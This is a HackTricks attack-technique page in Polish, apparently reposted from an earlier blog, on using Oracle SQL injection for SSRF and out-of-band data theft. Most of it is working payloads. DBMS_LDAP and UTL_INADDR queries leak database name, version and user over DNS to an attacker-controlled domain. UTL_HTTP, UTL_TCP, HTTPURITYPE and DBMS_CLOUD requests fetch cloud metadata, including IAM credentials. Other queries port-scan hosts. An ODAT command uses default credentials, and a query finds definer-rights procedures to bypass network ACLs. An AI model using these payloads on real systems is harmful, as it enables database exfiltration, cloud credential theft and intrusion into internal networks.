Oracle injection
Reading time: 9 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Zaserwuj ten post kopię z Wayback Machine usuniętego posta z https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Używanie Oracle do wykonywania żądań HTTP i DNS Out of Band jest dobrze udokumentowane, ale jako sposób na eksfiltrację danych SQL w iniekcjach. Zawsze możemy modyfikować te techniki/funkcje, aby robić inne SSRF/XSPA.
Instalacja Oracle może być naprawdę bolesna, szczególnie jeśli chcesz szybko skonfigurować instancję, aby wypróbować polecenia. Mój przyjaciel i kolega z Appsecco, Abhisek Datta, wskazał mi https://github.com/MaksymBilenko/docker-oracle-12c, co pozwoliło mi skonfigurować instancję na maszynie t2.large AWS Ubuntu i Docker.
Uruchomiłem polecenie docker z flagą --network="host"
, aby móc naśladować Oracle jako natywną instalację z pełnym dostępem do sieci, przez czas trwania tego wpisu na blogu.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Pakiety Oracle, które obsługują specyfikację URL lub nazwy hosta/numeru portu
Aby znaleźć jakiekolwiek pakiety i funkcje, które obsługują specyfikację hosta i portu, przeprowadziłem wyszukiwanie w Google na Oracle Database Online Documentation. Konkretne,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
Wynik wyszukiwania zwrócił następujące rezultaty (nie wszystkie mogą być użyte do wykonywania wychodzącej sieci)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
To proste wyszukiwanie oczywiście pomija pakiety takie jak DBMS_LDAP
(który pozwala na podanie nazwy hosta i numeru portu), ponieważ strona dokumentacji po prostu kieruje cię do innej lokalizacji. Dlatego mogą istnieć inne pakiety Oracle, które można wykorzystać do wykonywania wychodzących żądań, które mogłem przeoczyć.
W każdym razie, przyjrzyjmy się niektórym z pakietów, które odkryliśmy i wymieniliśmy powyżej.
DBMS_LDAP.INIT
Pakiet DBMS_LDAP
umożliwia dostęp do danych z serwerów LDAP. Funkcja init()
inicjalizuje sesję z serwerem LDAP i przyjmuje nazwę hosta oraz numer portu jako argument.
Funkcja ta była wcześniej dokumentowana, aby pokazać eksfiltrację danych przez DNS, jak poniżej
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Jednakże, biorąc pod uwagę, że funkcja akceptuje nazwę hosta i numer portu jako argumenty, możesz to wykorzystać, aby działało jak skaner portów.
Oto kilka przykładów
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
wskazuje, że port jest zamknięty, podczas gdy wartość sesji wskazuje, że port jest otwarty.
UTL_SMTP
Pakiet UTL_SMTP
jest zaprojektowany do wysyłania e-maili przez SMTP. Przykład podany na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do wysłania e-maila. Dla nas jednak interesującą rzeczą jest możliwość podania specyfikacji hosta i portu.
Poniżej przedstawiono prosty przykład z funkcją UTL_SMTP.OPEN_CONNECTION
, z limitem czasu wynoszącym 2 sekundy.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
ORA-29276: transfer timeout
wskazuje, że port jest otwarty, ale nie nawiązano połączenia SMTP, podczas gdy ORA-29278: SMTP transient error: 421 Service not available
wskazuje, że port jest zamknięty.
UTL_TCP
Pakiet UTL_TCP
oraz jego procedury i funkcje umożliwiają komunikację opartą na TCP/IP z usługami. Jeśli jest zaprogramowany dla konkretnej usługi, ten pakiet może łatwo stać się sposobem na dostęp do sieci lub wykonywać pełne żądania po stronie serwera, ponieważ wszystkie aspekty połączenia TCP/IP mogą być kontrolowane.
Przykład na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do nawiązania surowego połączenia TCP w celu pobrania strony internetowej. Możemy to nieco uprościć i użyć go do wysyłania żądań do instancji metadanych na przykład lub do dowolnej usługi TCP/IP.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Interesująco, dzięki możliwości tworzenia surowych żądań TCP, ten pakiet może być również używany do zapytań do usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w żądaniu TCP.
UTL_HTTP i żądania sieciowe
Być może najczęściej stosowaną i szeroko udokumentowaną techniką w każdym poradniku na temat Out of Band Oracle SQL Injection jest pakiet UTL_HTTP
. Pakiet ten jest zdefiniowany w dokumentacji jako - Pakiet UTL_HTTP wykonuje wywołania protokołu Hypertext Transfer Protocol (HTTP) z SQL i PL/SQL. Możesz go używać do uzyskiwania dostępu do danych w Internecie za pośrednictwem HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Możesz dodatkowo użyć tego do przeprowadzenia podstawowego skanowania portów za pomocą zapytań takich jak
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
ORA-12541: TNS:no listener
lub TNS:operation timed out
to oznaki, że port TCP jest zamknięty, podczas gdy ORA-29263: HTTP protocol error
lub dane są oznaką, że port jest otwarty.
Innym pakietem, którego używałem w przeszłości z różnym powodzeniem, jest GETCLOB()
metoda typu abstrakcyjnego HTTPURITYPE
Oracle, która pozwala na interakcję z URL i zapewnia wsparcie dla protokołu HTTP. Metoda GETCLOB()
jest używana do pobierania odpowiedzi GET z URL jako typ danych CLOB.
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
Dodatkowe pakiety i techniki (Oracle 19c → 23c)
UTL_INADDR – eksfiltracja oparta na DNS i odkrywanie hostów
UTL_INADDR
udostępnia proste pomocnicze funkcje rozwiązywania nazw, które wywołują wychodzące zapytanie DNS z hosta bazy danych. Ponieważ wymagany jest tylko domena (nie potrzebny port/ACL), jest to niezawodny element do ślepej eksfiltracji, gdy inne połączenia sieciowe są zablokowane.
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
get_host_address()
zwraca rozwiązany adres IP (lub zgłasza ORA-29257
, jeśli rozwiązanie się nie powiedzie). Atakujący musi tylko obserwować nadchodzące zapytanie DNS na kontrolowanej domenie, aby potwierdzić wykonanie kodu.
DBMS_CLOUD.SEND_REQUEST – pełny klient HTTP w Autonomous/23c
Najnowsze edycje skoncentrowane na chmurze (Autonomous Database, 21c/23c, 23ai) są dostarczane z DBMS_CLOUD
. Funkcja SEND_REQUEST
działa jako uniwersalny klient HTTP, który obsługuje niestandardowe czasowniki, nagłówki, TLS i duże ciała, co czyni ją znacznie potężniejszą niż klasyczny UTL_HTTP
.
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
Ponieważ SEND_REQUEST
pozwala na dowolne docelowe URI, może być nadużywane za pomocą SQLi do:
- Wewnętrznego skanowania portów / SSRF do usług metadanych w chmurze.
- Ekstrakcji poza pasmem przez HTTPS (użyj Burp Collaborator lub tunelu
ngrok
). - Wywołań do serwerów atakujących, nawet gdy starsze pakiety wywołania są wyłączone przez ACL.
ℹ️ Jeśli masz tylko klasyczną wersję on-prem 19c, ale możesz tworzyć procedury składowane w Javie, czasami możesz zainstalować DBMS_CLOUD
z pakietu klienta OCI — przydatne w niektórych zleceniach.
Automatyzacja powierzchni ataku z ODAT
ODAT – Oracle Database Attacking Tool nadąża za nowoczesnymi wydaniami (testowane do 19c, 5.1.1 – kwi-2022). Moduły –utl_http
, –utl_tcp
, –httpuritype
i nowszy –dbms_cloud
automatycznie:
- Wykrywają użyteczne pakiety wywołania/granty ACL.
- Wyzwalają wywołania DNS i HTTP dla ślepej ekstrakcji.
- Generują gotowe do skopiowania ładunki SQL dla Burp/SQLMap.
Przykład: szybkie sprawdzenie OOB z domyślnymi poświadczeniami (zajmuje się enumeracją ACL w tle):
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
Ostatnie ograniczenia i obejścia ACL sieciowych
Oracle zaostrzył domyślne ACL sieciowe w CPU z lipca 2023 — konta bez uprawnień otrzymują teraz ORA-24247: network access denied by access control list
domyślnie. Dwa wzorce nadal pozwalają na wywołania przez SQLi:
- Docelowe konto posiada wpis ACL (
DBMS_NETWORK_ACL_ADMIN.create_acl
), który został dodany przez dewelopera dla integracji. - Atakujący nadużywa rutyny z wysokimi uprawnieniami PL/SQL z prawami definicji (np. w aplikacji niestandardowej), która już ma
AUTHID DEFINER
i niezbędne uprawnienia.
Jeśli napotkasz ORA-24247
podczas eksploatacji, zawsze szukaj procedur do ponownego użycia:
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
(w wielu audytach przynajmniej jedna procedura raportowania/eksportu miała potrzebne uprawnienia).
References
- Oracle Docs –
DBMS_CLOUD.SEND_REQUEST
package description and examples. - quentinhardy/odat – Oracle Database Attacking Tool (latest release 5.1.1, Apr-2022).
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.